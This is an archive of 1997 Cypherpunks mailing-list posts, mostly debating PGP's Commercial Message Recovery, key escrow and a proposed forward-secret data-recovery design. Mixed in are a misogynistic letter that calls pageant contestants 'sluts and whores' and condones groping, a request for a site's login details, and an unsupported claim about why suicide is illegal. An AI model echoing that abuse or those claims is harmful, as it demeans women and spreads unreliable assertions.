hostile to the snooping.  If you don't like that (and I sure as fuck
don't), well don't build the little brotherism in either.

But, if you do want to have some kind of mildly enforceable corporate
snoopware well you can do it with reencryption to an escrowed storage
key or to a key recovery storage key.

For people who want to stop employees beyond that I think it is
reasonable to say that this is disproportionate effort spent on the
problem given other physical avenues for company information leaks.

If a company is that way inclined that could say that attempts to
subvert the snoopware was a sackable offense.  (Again not that I'm
arguing we should be encouraging companies to do any of these things,
but rather than in proposing the CSR method as a non GAK compliant
replacemnt for CMR, I am being challenged to demonstrate it can do
everything that CSR can do with similar levels of enforceability).

> The secure archive would be a remote archive maintained by the FBI
> to protect public safety.  All plaintext would be sent there,
> encrypted by the FBI key.  The business software would already
> support this.  This is GAKware!  Unlike with a CMR system, the
> sender would have no way to prevent access.

He could prevent as I argued above; also you could build more secure
and similarly hard to bypass GAKware (CMRware) with Binding
Cryptography and a restriction to El Gamal keys.  Anway I would
strongly argue against fielding a system which worked in this way, for
the exact same reasons that I am arguing against PGP Inc's fielding of
the CMR system: because as you so rightly and observantly point out it
is GAK.  (I am not noticing you say much about CMR being GAK
... perhaps you actually acknowledge it is GAK, but are trying (and I
think failing) to show that CSR is GAK too.  Well no dice, I think CSR
allows non GAK compliant functionality with a large degree of
flexibility.  CMR on the other hand just _is_ GAKware.  If you
remember the KRAP (Key Recovery Alliance Program) and have the
documents handy I am sure that if you go down the checklist that you
will find that pgp5.5 matches just about all of the hotly contested
NSA given requirments.

> Can't handle forgotten passphrases.
> 
> People forget passphrases all the time.  With re-encryption on receipt,
> there is no way to recover gracefully from this error.  All the incoming
> encrypted data is lost until you can notify everyone who has sent mail to
> resend it, and get your new key out to all of them.  These may be purchase
> orders, sales leads and other important documents which represent lost
> business if they can't be recovered.  This is going to invite people to
> use poor security practices like writing down passphrases or choosing
> ones which are easy to guess.  Worse, it...

Lets think this through.  You have 3 keys.

- storage keys
- signature keys
- communications keys

You can escrow storage keys if you want -- this provides data
availability.  As an alternate and approximately equivalent mechanism
you can use storage key recovery (with a second storage recipient).

Signature keys we shouldn't have any arguments about I think because
y'all presumably agree that the user should be the only hodler of
those to prevent third parties forging his signature.

Communications keys, for security, and non-GAK compliant design
reasons you also should not escrow.

I think that your complaint is the same as that raised by someone
else, that is if some emails come in and in the mean time the employee
forgets his passphrase, you lose the emails because you can't recover
the communications key, because it is treated like signature keys; no
escrow, no backup.

This is a valid complaint.

However as a fob to the significance of this I can offer:

- if the email is important value "official communications" as you
  suggest, it might be an idea for the sender to archive them anyway
  in case they disappear down a blackhole in transit, or it will be
  independently likely that the important company document / figures /
  source code will be stored on the senders disk somewhere.

It's the only down side I can see for the system, which allows you to
avoid GAK compliancy.  It also has a number of quite major security
advantages which I discussed with William Geiger in the thread on DH
forward secrecy in email.

> Invites key escrow.
> 
> In order to prevent this problem, employees may be forced to share
> their secret keys with corporate management.  

You could do this as a solution.  However it has GAK problems, and has
as you say Clipper overtones, using the same master access method.

However you could also view it this way: you will likely be encrypting
the private parts of the communications key with the same passphrase
as the private parts of the signature key.  If the user forgets their
signature passphrase you'll have to issue them with a new set of
certificates for their newly generated signature key.  This is also
inconvenient, but you live with it because of the over-riding
principle that signature keys should only be held by individuals.

With communications keys the main reason not to escrow them is that
doing so builds a GAK system.  Thus is harder to argue that these
restrictions are inherently necessary unless you want to avoid GAK so
much that you are willing to live with this weakness.

I'll think on this part to see if I can find some way to tune down the
significance of this type of data loss.  Do you have any ideas?

One which comes to mind is smart cards for key tokens.  Harder to
forget.  Still you _can_ lose them.

There is however a separate danger with smart cards, they are kind of
a form of escrow themselves if they are not tamper-proof enough
because someone with resources may be able to recover the keys from
them.

Smart cards are however very convenient for key storage.

> Software will be written to facilitate this process.  Crypto
> companies are already doing this.  Nortel Entrust allows key
> generation by management, where employees are given the keys and
> management keeps a copy.  Shades of Clipper!  This also fails the
> notification requirement.  Don't believe me?  Take a look at this
> description of the Nortel Entrust product:

Yeah I believe you.  Some folks don't give a shit about privacy, nor
about GAK.  The $ is all that counts to them.  Selling their mother
for a bit of change wouldn't cause them a second thought.

> No system is ideal.
> 
> Before pushing this re-encryption model as a panacea, think about the
> implications.  No system which provides automatic access to business data
> is going to be privacy friendly.  Any such system can be perverted into
> supporting GAK.  Load it up with all the disclaimers you like, but if
> you advocate software which contains key escrow and which automatically
> provides cleartext to third parties, you are not advocating software
> which protects privacy.  Be prepared to be called an advocate of GAK next
> time you push for software which automatically archives cleartext, because
> if it can save it for business, it can save it for government.

The difference is still centered around the central fallacy that the
GAKkers are promulgating that the government should be allowed to have
access to all of your communication keys to allow the company to
protect data availibility.

The problem is that your disk is not stored in those communications,
so having the communications key back from the government key recovery
infrastructure does nothing to help you recover your disk data in
event of a disk crash.

In addition my simple observations derived from this are that well:

- if government is so damn keen on gaining access to communications
  keys, we'd better make damn sure we have no data on disk encrypted
  with communications keys!

- if government is so damn keen on encouraging companies to build GAK
  products (clipper, tessera, KRAP (Key Recovery Alliance Program)
  Public Key Infrastructure ("CAs" with copies of communications keys,
  as if you want them backed up)), well I'm going to do my damnest to
  make sure that I don't write the software.  If PGP Inc chooses not
  to write a GAK compliant product, and the PGP standard is
  successful, well then we have done all we can to frustrate
  government GAK plans

Given those observations, lets take a look at this claim:

> No system is ideal.
> 
> Before pushing this re-encryption model as a panacea, think about the
> implications.  

I'm trying.  Your feed back is helping to explore the limitations and
flexibilites of CSR as new scenarios are explored.

> No system which provides automatic access to business data is going
> to be privacy friendly.  

Well it's a little brotherish sort of activity perhaps, but some argue
that companies have property rights which you could use to conclude
that if they are paying for your time, and they own the machines, and
the networking facilities, that perhaps this isn't so unreasonable.

Provided you stick to data stored on disks you minimise your problems
of being accuesed of GAK.

> Any such system can be perverted into supporting GAK.

I have given you a CSR architecture which is non GAK compliant.  Your
task is to deploy this as widely as you can.  Then with 80% of
companies using non GAK compliant software, the GAKkers are going to
be struggling.

The other scenario, PGP Inc's CMR, is already GAK enabled.  It
provides a smooth migration path to GAK.  With 80% of companies using
that type of GAK compliant software we're screwed.  PGP will be the
guilty party.

> Load it up with all the disclaimers you like, but if you advocate
> software which contains key escrow and which automatically provides
> cleartext to third parties, you are not advocating software which
> protects privacy.

There can be legitimate reasons for restrictions on privacy within
companies where this is required to ensure data availability.  The
main points about this are that a) you recommend the policy of
informing users (ensuring that they know that the data on this disk is
backed up, that this email folder is backed up etc.) b) that PGP
doesn't use the excuse that a GAK system _could_ be built by
perverting CSR as an excuse to fields something which is unavoidably a
GAK compliant system: CMR.  With CSR you as implementer and to a
certain extent standards setter have the power to do something about
having a non-GAK compliant installed software base.  With CMR you have
no choice but to implement and field GAK compliant software.

> Be prepared to be called an advocate of GAK next time you push for
> software which automatically archives cleartext, because if it can
> save it for business, it can save it for government.

I don't think that is really fair.  My motives for exploring the
functionalities is driven by other peoples user requirements which
they are thrusting on me with the challenge that I show that they can
be met with CSR.  I have almost completely been able to show that this
can be done for the things which have been thrust at me.

This in no way indicates that I _like_, or approve of the little
brotherish, or snoopy things people are challenging me to show can be
implemented with CSR.

But what I am certain of is that you _can_ build a non-GAK compliant
system with CSR, which can have just about any functionality you care
to add (snooping, weakly enforced email archiving to recoverable keys,
separate "official" and "unofficial" email boxes, flexible storage key
recovery architecture).

I am also certain that CMR as implemented by PGP is a fully
functioning ready to roll GAK compliant system.

Lets try a different tack: I'll issue _you_ a challenge: can you
modfiy the CMR proposal so that it still achieves stored email data
recovery and so that it is no longer GAK compliant.

I don't think you can do it.  I'll be happy to be proven wrong.

I think you'll find as you try to work your way around away from GAK
compliance it that you will end up with something which _is_ CSR.

Well?

(Thanks for the long debate... I hope it has been useful).

Adam
-- 
Now officially an EAR violation...
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <azur@netcom.com>
Date: Tue, 14 Oct 1997 13:54:36 +0800
To: adam@homeport.org>
Subject: Re: Quantum Computing
In-Reply-To: <199710120611.CAA29682@homeport.org>
Message-ID: <v03102801b0688eeb98d6@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain



Some of the papers on this site don't paint a hopeful picture that quantum
computers will live up to some of its biggest boosters insofar as crypto
and factoring problems are concerned.  For example see:

http://feynman.stanford.edu/qcomp/plenio/plenio/plenio.html

Others seem down right gleeful:

http://feynman.stanford.edu/qcomp/bennett-nature95

They all seem to agree that practical quantum computers are still a long
way off.

--Steve

At 4:01 PM -0700 10/13/97, John Mayorga wrote:
>To answer Adam's question on quatum computing, see:
>http://feynman.stanford.edu/qcomp/artlist.html
>
>Interesting stuff.  Nothing to do with encryption (except maybe breaking it in
>the future).
>






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan <alan@ctrl-alt-del.com>
Date: Tue, 14 Oct 1997 14:07:16 +0800
To: Ariel Glenn <ariel@watsun.cc.columbia.edu>
Subject: Re: patenting big brother
In-Reply-To: <CMM.0.90.4.876760788.ariel@stealth.cc.columbia.edu>
Message-ID: <3.0.3.32.19971013215203.03a1e500@ctrl-alt-del.com>
MIME-Version: 1.0
Content-Type: text/plain



At 12:39 PM 10/13/97 EDT, Ariel Glenn wrote:

>http://www.nytimes.com/library/cyber/week/101397patents.html
>
>Engineer Invents Computerized Surveillance System
>
>            By TERESA RIORDAN
>
>Imagine that a city park were studded with discreetly
>placed cameras that fed images into computers programmed to keep
>a watchful eye. This may sound darkly Orwellian, but
>David Aviv, a former aerospace engineer, has patented exactly
>such a system as a way of combating crime. 
>
>Aviv said his invention, which he calls the Public Eye,
>used pattern recognition to detect robberies or acts of violence. 

This sounds like something from "Agent of Chaos" by Norman Spinrad.  Now
all they need is the plug to flood the area with lethal radiation...

---
|              "That'll make it hot for them!" - Guy Grand               |
|"The moral PGP Diffie taught Zimmermann unites all| Disclaimer:         |
| mankind free in one-key-steganography-privacy!"  | Ignore the man      |
|`finger -l alano@teleport.com` for PGP 2.6.2 key  | behind the keyboard.|
|         http://www.ctrl-alt-del.com/~alan/       |alan@ctrl-alt-del.com|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <azur@netcom.com>
Date: Tue, 14 Oct 1997 14:11:02 +0800
To: cypherpunks@cyberpass.net
Subject: Canadian crypto export/re-export rules
Message-ID: <v03102802b0689d46f82b@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain



Can anyone point me to a site with accurate and complete information?

--Steve






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Tue, 14 Oct 1997 14:43:58 +0800
To: Vipul Ved Prakash <vipul@best.com>
Subject: Re: GOST
In-Reply-To: <199710131950.TAA00414@fountainhead.net>
Message-ID: <3.0.3.32.19971013233228.006e7940@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 07:50 PM 10/13/1997 +0000, Vipul Ved Prakash wrote:
>I am developing a product that would use GOST for encrypting data 
>streams. This is mostly because its design and simplicity hold
>considerable aesthetic value, at least for me. 
>
>Most of the related text I have read indicates
>that some SBOX sets can be cryptographically weak, and
>its a good idea to use SBOX data as key data instead. 
>Pointers? 

S-box structure is one of the critical issues in designing
Feistel-type networks; if you understand the mathematics
very very well, you can do it yourself, and if you don't,
then you don't understand it well enough to be sure
the S-boxes are secure enough, and thus you shouldn't
be selling it to customers.

An advantage of GOST for the Soviets was that they could 
use the same code, with different sets of S-boxes for the
military, civilian government, and other applications,
and the KGB could easily read things they wanted easily read
but the things that needed to be harder to read were hard.

				Thanks!
					Bill
Bill Stewart, stewarts@ix.netcom.com
Regular Key PGP Fingerprint D454 E202 CBC8 40BF  3C85 B884 0ABE 4639





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: bureau42 Anonymous Remailer <nobody@bureau42.ml.org>
Date: Tue, 14 Oct 1997 08:00:55 +0800
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <zean5y0o3WJQMrNa81vCCw==@bureau42.ml.org>
MIME-Version: 1.0
Content-Type: text/plain



Jim Choate <ravage@ssz.com> wrote:

> Thought some of you might care to know that James A. Michner the Pulitzer
> prize winning author who lives here in Austin, Tx. has decided to take
> himself off the kidney dialysis machine that has been keeping him alive.

The same organizations who seek to banish the
Suicide Doctor Kevorkian are probably up in arms
over this announcement.

"This should be illegal!"

"Keep him alive!"

Suicide is illegal in most "democracies" for one
reason - so that the State can confiscate the
material goods of the deceased.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Nobuki Nakatuji" <bd1011@hotmail.com>
Date: Tue, 14 Oct 1997 15:57:12 +0800
To: cypherpunks@toad.com
Subject: RSADSI open RC2 encryption algorithm
Message-ID: <19971014074326.1917.qmail@hotmail.com>
MIME-Version: 1.0
Content-Type: text/plain



RSADSI open RC2 encryption algorithm.

http://www.imc.org/draft-rivest-rc2desc



______________________________________________________
Get Your Private, Free Email at http://www.hotmail.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@Algebra.COM (Igor Chudov @ home)
Date: Tue, 14 Oct 1997 14:40:19 +0800
To: freedom-knights@jetcafe.org (Freedom Knights)
Subject: Statists trying to outlaw anonymity and privacy
Message-ID: <199710140633.GAA13279@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text



Dear Friends,

As many of you no doubt know, a new moderated group,
comp.org.cauce, has been proposed. One of the main goals
of moderators is to prevent users of one-way anonymous
remailers and those who munge (alter) their addresses
to avoid being spammed, from posting to the group.

Their proposal would force users to reveal their Internet
identities and expose them to spam.

The proponents hope, apparently, that the more spam people
get, the more will they support CAUCE's statist lobbying for
more government regulations.

During the discussion they have shown complete disregard and
ignored all requests from users who attempted to help them
accommodate anonymous posting. To get more YES votes, they
removed the most controversial provisions from the charter, 
while IN THE SAME DAY promising that these provisions will 
still be enforced.

As someone who defends privacy and anonymity  on the Internet,
I ask you to vote on this important matter. I will vote NO
on this newsgroup.

Feel free to repost this message to any fora you deem appropriate.

To find the Call For Votes, go to news.groups newsgroup, and find
article titled "CFV: comp.org.cauce moderated". You will find the
charter and the instructions on how to vote.

Thank you for your attention.

	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Tue, 14 Oct 1997 08:07:15 +0800
To: cypherpunks@toad.com
Subject: Hmm
Message-ID: <199710132345.BAA01369@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain




Mr-Anonymous-type-person wrote:
> www.telcomtraining.com/downloads

what's the l/p Mr. Anonymous?        





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Frantz <frantz@netcom.com>
Date: Wed, 15 Oct 1997 00:25:46 +0800
To: Adam Back <ietf-open-pgp@imc.org
Subject: Re: proposal: commercial data recovery
In-Reply-To: <199710140937.KAA01187@server.test.net>
Message-ID: <v0300780cb06943af6a1f@[207.94.249.37]>
MIME-Version: 1.0
Content-Type: text/plain



At 2:37 AM -0700 10/14/97, Adam Back wrote:
>...
>2. second crypto recipients on encrypted communications are not
>   used to allow access to third parties who are not messaging
>   recipients manually selected by the sender
>...
>
>Included in 2) is the principle of not re-transmitting over
>communication channels keys or data re-encrypted to third parties
>after receipt -- that is just structuring -- and violates design
>principle 2.

This requirement tries to enforce something which can not be enforced by
technical means.  That is, when you send another person some data, there is
no technical way you can prevent them from using it however they want.  For
example, a user can always program his filters (given something like
procmail) to send decrypted data anywhere he wants.

The idea that you can control what users do with data thru technical means
is the most common flaw I see when people think about security.


N.B. I applaud Adam's direction of building the data recovery businesses
need without helping 3rd parties engage in undetected snooping.  Keeping
the decryption keys (if data is not stored in the clear) near the
legitimate copies seems to be a useful step in this direction.


-------------------------------------------------------------------------
Bill Frantz       | Internal surveillance      | Periwinkle -- Consulting
(408)356-8506     | helped make the USSR the   | 16345 Englewood Ave.
frantz@netcom.com | nation it is today.        | Los Gatos, CA 95032, USA






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Tue, 14 Oct 1997 17:57:16 +0800
To: attila@primenet.com
Subject: Re: GET OFF THE DIME: PGP 5.5: Attitude
In-Reply-To: <19971013.035233.attila@hun.org>
Message-ID: <199710140835.JAA01158@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




Attila T Hun <attila@hun.org> writes:
>     There is one all important consideration in this debate:
>  
>         would you rather have PGP, Inc. with its preeminent 
>         stature in the defense of freedom, freeware, and
>         privacy as well as an established, TRUSTED product 
>         defining THE system which meets the need of the 
>         free world business, but is not selling out to 
>         GAK or CAK? 
> 
>         or, would you rather see IBM, HP, TIS and others with 
>         their GAK products and potentially even backdoors?
>         are any of these vendors even planning to give us 
>         source code so we might have a warm and fuzzy feeling
>         until someone blows a hole in it 10 years from now?

_Of course_ we all agree that it is much better to have PGP Inc
implement a CAK system than IBM, HP, TIS or other GAK-sellout'ers.

Attila, I generally liked your rant, and agreed with pretty much most
of it.  However I would repeat what I said to Jon Callas with his
nicely written rant which started this thread on `attitude' (modified
for Attila rant relevance):

: [bucko big snip]
: 
: Well, it was a nice rant, Attila.  Most of it was even crypto-correct :-)
: 
: But the problem is you didn't address the point causing PGP's perceived
: hostilities.  Not once.

Now as you say above, if there was no choice on how to implement CAK,
well we'd all be forced to agree that PGP Inc hard no alternative but
to do what they have done and implement something which can be
directly used as a fully functional GAK system, because of the
requirement for company availability of data.  We'd feel unhappy about
it, as Jon Callas himself admitted of the CMR design but acknowledging
the user requirement and inevitability, in similar ways that you have
been arguing for.

We'd then be acknowledging the nice balances which PGP have put in as
expressed by PGP's Jon Callas and Jon Seybold respectively: the
principle of transparency: that PGP is recommending that companies
flag mail addresses which are "company use" mail boxes where the
company may be reading; and Jon Seybold's point about decentralised
company escrow designs being much better than centralised ones.  Both
are very good points.

The point is that, _of course_ we acknowledge these points; that is a
complete no-brainer.


_This_ is the point I am trying to get across:

- If you (as a crypto software company) have users who have a
  requirement for data recovery of stored email (and there is a pretty
  reasonable business case for this), then as a company which claims
  to be against the dangers of mandatory GAK, you should do everything
  you can to make your system non-useful to the GAKkers purposes.  PGP
  has done somethings in this direction (the two points I list above
  for example).  But they could do more:

- I have laid out a perfectly feasible design for providing a fully
  functional non-GAK compliant "Commercial Data Recovery" (CDR) system.
  I have not seen any PGPers anonymous or otherwise who have come up
  with any flaws in this design; nor even with any functionalities
  which it is not capable of meeting with similar degrees of weak tamper
  resistance to the GAK compliant CMR design.

Did you miss that argument?

I'll use the term "data recovery" to describe it to highlight the key
differences between PGP's method which is Commercial _Message_
Recovery, because the "message recovery" design philosophy is a
fallacy adopted by swallowing the GAKkers "key escrow" arguments.  The
argument that you somehow need to escrow transient communications keys
to allow governments access to information stored on disks.  That
people swallow this argument never ceases to amaze.

You will notice that there have been no technical refutations of my
CDR design.  I and others have I think been able to demonstrate that
it is just as flexible, and to boot more secure.

> [bucko huge snip]

I agree with the rest of Attila's points.

Adam
-- 
Now officially an EAR violation...
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bruce Schneier <schneier@counterpane.com>
Date: Tue, 14 Oct 1997 23:51:33 +0800
To: cypherpunks@cyberpass.net
Subject: Why CMR is bad civic hygene;the short version
Message-ID: <v03007800b0693bd47128@[209.98.13.35]>
MIME-Version: 1.0
Content-Type: text/plain



The FBI has publically stated that they want to ban unescrowed encryption.
A couple of years ago, people like Brock Meeks and EPIC predicted this;
they were universially regarded as alarmists.

The problem with corporate key escrow is that it puts an infrastructure in
place that can very easily, with a simple switch of public policy, turn
into GAK.

Diffie has said that the FBS's position is a strawman, and that some kind
of voluntary system will be put in place as a compromise.  Then, in a few
years, eliminating the voluntary nature will be seen as "closing a
loophole."

Technological infrastructure moves very slowly.  Political moods can move
very quickly.  If companies (like PGP) install a key escrow infrastructure,
it will take one well-timed disaster to convince Congress to pass a law
putting the whole thing under government control.

As Phil Zimmermann said many years ago (I have no idea where he stole it
from): "It's poor civic hygene to install technologies that may someday
facilitate a police state."

Data recovery is essential for stored corporate data.  This is a seperate
problem than corporate key escrow.  Communications keys (used for email)
are fundamentally different than storage keys (used for files).  Someone
sent me email recently and told me that those keys are treated the same in
PGP; I have trouble believing that this is true.

And if everyone is bashing PGP Inc badly over this, it's because people
expected more out of them.  A company like TIS, who gets significant (I
originally wrote "most of its," but I don't know if that's true anymore)
funding from the NSA anyway, is expected to roll over for the Feds.  PGP
Inc was not.

Bruce

**********************************************************************
Bruce Schneier, President, Counterpane Systems     Phone: 612-823-1098
101 E Minnehaha Parkway, Minneapolis,MN  55419       Fax: 612-823-1590
                                            http://www.counterpane.com






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bianca <bianca@dev.null>
Date: Wed, 15 Oct 1997 00:40:22 +0800
To: photo@bconnex.net
Subject: Miss Canadian Slut International
Message-ID: <34439A4B.4813@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



Dear Mr. Beauvais,
  I noticed on a visit to your website that you are a "Proud sponsor of
Miss Canada Int. 97/98."
  I was wondering if you are reconsidering your sponshership in light
of the fact that they award the title to sluts and whores.

  I was watching Jenny Jones, and thought that the lady, Gabrielle, was
a very nice young woman, and a good role model for young women, but
a representative of Miss Canada International corrected my error by
pointing out that the woman is a trashy whore for taking a job with
a legitimante Canadian business which she disapproved of.

  Accordingly, I am informing all of my male friends that it will be
perfectly acceptable to slip their hands up the skirts of future Miss
Canada International contestants, since they are all sluts and whores.
  I was wondering if this also applies to the models you represent and
work with, since you seem to be proud of an sponsering an organization
that regards the bright and talented young women who represent them
as sluts and whores. Do you also regard the women that you work with as
sluts and whores?

Sincerely,
 Bianca





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bruce Schneier <schneier@counterpane.com>
Date: Tue, 14 Oct 1997 23:54:47 +0800
To: cypherpunks@cyberpass.net
Subject: PGP Key Escrow and Congress
Message-ID: <v03007801b0693c7b984c@[209.98.13.35]>
MIME-Version: 1.0
Content-Type: text/plain



The attached is from Barbara Simons of the U.S. ACM.  Note item 4, where
Congressional staffers point to PGP as an example of key escrow software
being possible.  To those of us fighing the government control of
cryptography, this is not helpful.

Bruce

--------------------------------------------------------------------------

Date:         Mon, 13 Oct 1997 13:27:03 PDT
Reply-To: "Barbara Simons" <simons@VNET.IBM.COM>
Sender: ACM US Public Policy Committee <USACM@ACM.ORG>
From: "Barbara Simons" <simons@VNET.IBM.COM>
Subject:      Hill ... Blues
To: USACM@ACM.ORG

On Thursday and Friday of last week I met with Hill staffers of the
following Congresspeople: Sen. Feinstein, Sen. Boxer, Rep. Eshoo,
Rep. Campbell, and Sen. Kerrey.  As you may have noticed, there was a Ca.
theme to the group, with the exception of Nebraska's Kerrey, of S909 fame.

Both Feinstein's and Boxer's staffer suggested that I speak with Kerrey's
staff, which is how I ended up meeting with Christopher McLean, Kerrey's
Legislative Counsel, and Lorenzo Goco, who is Special Assistant to the
Vice Chairman of the Senate Select Committee on Intelligence.

My discussion with them was very interesting and somewhat lively.  I don't
know whether or not they had noticed our letter in opposition to S909,
but they at least appeared to be surprised when I said that we had written
such a letter, a copy of which was given to each at the meeting.
I had the strong impression that McLean and Goco had had a hand in the
writing of S909.  They certainly were well versed in the arguments.

Here is some of what they said:

1.  S909 impacts only the government, NOT universities that receive
    government funding for networks.  This is not our interpretation of
    the bill, and I'd be interested in hearing from some of the lawyers
    who are on USACM as to whether or not they agree with McLean and Goco.

2.  If we are concerned about the well being of the computer industry in
    the U.S., we should be supporting S909, since the alternatives are
    either a more draconian bill or no bill at all, with the maintenance
    of the status quo export restrictions.  They claim that Clinton will
    veto any bill that does not contain provisions that address some of
    law enforcement's concerns.

3.  If we are concerned about inappropriate behavior vis-a-vis key escrow
    or recovery, we should be supporting S909, since it includes strong
    penalties for unlawfully revealing or obtaining others' keys.

4.  The NSA states that key recovery is doable and will not jeopardize
    national security.  And there is an existence proof for key recovery
    software in the new PGP release.

5.  Yes, they would like to see widespread use of key recovery, but their
    idea is to encourage the development of encryption with key recovery
    by using the buying power of the government to cause widespread and
    inexpensive key recovery encryption to come into being.

6.  They are simply doing what the NRC report recommended, namely "testing"
    key recovery on the government without imposing it on the citizenry.

7.  Key recovery or key escrow are simply attempts at maintaining the
    status quo for law enforcement, who are now able to wiretap at will.


Some of these are old arguments that we've been hearing for a while,
but some are newer.  In particular, points 4 and 6 are difficult to
refute without getting into some technical details.  Both points also
undercut the argument that a key recovery infrastructure potentially
weakens security.  After all, the NSA thinks it's secure enough that it
can be used by the government.

Barbara






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Tue, 14 Oct 1997 17:58:11 +0800
To: ietf-open-pgp@imc.org
Subject: proposal: commercial data recovery
Message-ID: <199710140937.KAA01187@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




If we take the design goal of designing a commercial data recovery
system which is not GAK compliant, we can most succinctly state this
design goal as the task of ensuring that:

- at no point will any data transferred over communications links be
  accessible to anyone other than the sender and recipient with out
  also obtaining data on the recipient and/or senders disks


I think we can distill the design principles required to meet the
design goal of a non-GAK compliant Corporate Data Recovery (CDR) down
to ensuring that:

1. no keys used to secure communications in any part of the system are
   a-priori escrowed with third parties

2. second crypto recipients on encrypted communications are not
   used to allow access to third parties who are not messaging
   recipients manually selected by the sender

3. communications should be encrypted to the minimum number of
   recipients (typically one), and those keys should have as short a
   life time as is practically possible

Included in 2) is the principle of not re-transmitting over
communication channels keys or data re-encrypted to third parties
after receipt -- that is just structuring -- and violates design
principle 2.


With these three principles you still have lots of flexibility because
you can escrow storage keys, do secret splitting of storage keys, and
store keys encrypted to second storage accessors on the local disk for
stored data recovery purposes.

As an additional bonus, principle 3 adds extra security against
attackers gaining access to encrypted traffic after the fact -- the
recipient no longer has the key -- this is a form of forward secrecy.


Systems designed to the CDR design principles are of significantly
less use to GAKkers than PGP Inc's GAK compliant Commercial Message
Recovery (CMR) design.  The CDR design significantly hinders the take
up of GAK if widely deployed.  

Design principle 3 -- forward secrecy -- is inherently hostile to
GAKkers, and is the strongest statement you can make against GAK: you
are purposelly _destroying_ communications keys at the earliest
possible moment to ensure that GAKkers can not obtain the keys by
legal and extra-legal coercion, black mail, and rubber hose
cryptanalysis.

The whole system translates into the Feds having to come and
physically take your disk to obtain information about you, which is
much better than GACK, and not what the GAKkers are interested in at
this point.  The GAKkers would like to install themselves, and coerce
companies into installing for them (via GAKker/USG/NSA/NIST organised
efforts such as the 56 bit export permit for companies installing key
escrow; and efforts such as the Key Recovery Parners Alliance (KRAP)).
I fear that PGP Inc's CMR proposal inadvertently meets most of the
NIST/NSA specified KRAP requirements.

What the GACKers want is systems where they can perform routine key
word scanning and fishing expeditions into your communications from
the comfort of their offices, without your knowledge.  This is push
button Orwellian government snooping.

Within the constraints imposed by the CDR design principles, there is
plenty enough flexibility to acheive the commercial data recovery
functionality to similarly weak levels of enforcability as achieved by
the CMR design.  Weak levels of enforceability are appropriate because
there are other exceedingly easy bypass routes: super-encryption, and
walking out of the office with a DAT tape.


I would like to organise a collaborative effort to write a white paper
discussing how to implement various functionalities using the CDR
design principle.

Then I would like to see discussion of which set of these
functionalities which best acheive the user requirement for company
data recovery.

Lastly I would like to see a collaborative development effort to
provide a example implementation of a CDR system which can be used as
a discussion point for the OpenPGP standardisation process.

I suppose the best place to discuss this process is the IETF forum for
discussion of the OpenPGP standard, the OpenPGP mailing list
(subscribe by sending message body "subscribe ietf-open-pgp" to
"majordomo@imc.org").

I have already had people express in email to me their interest in
doing this.  Those people can speak up if they want to.  Technical
input is sought from people opposed to GAK compliant software, and
from PGP Inc, and others defending PGP's GAK compliant CMR proposal.

Adam
-- 
Now officially an EAR violation...
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Zooko Journeyman <zooko@xs4all.nl>
Date: Tue, 14 Oct 1997 19:17:16 +0800
To: aba@dcs.ex.ac.uk
Subject: commercial data recovery
Message-ID: <199710141053.MAA03610@xs1.xs4all.nl>
MIME-Version: 1.0
Content-Type: text/plain



[Note-- I am not subscribed to ietf-open-pgp at this time.  My
 apologies if this submission from a non-subscriber is 
 unwanted.  I will be brief.  --Zooko]


Adam, I applaud your effort to steer discourse toward 
productive work re: GAK, CMR, CDR.  I haven't thought about 
your idea enough to have a definite opinion, but at first blush
it seems a promising strategy to design high-security and 
forward-secrecy for communication but recovery/sharing features
for stored data.


I wonder if it is too much early-days to start talking about
advanced protocols e.g. secret-splitting in IETF-Open-PGP?  
Probably so.  Better just punch out a standard with current
tech...



Hm.  What about the idea of storing your data remotely (for
cost-efficiency, safety, etc.) using encryption to maintain 
your privacy?  In that case, the distinction between comms and
storage keys is blurred.  A company may choose to e.g. store 
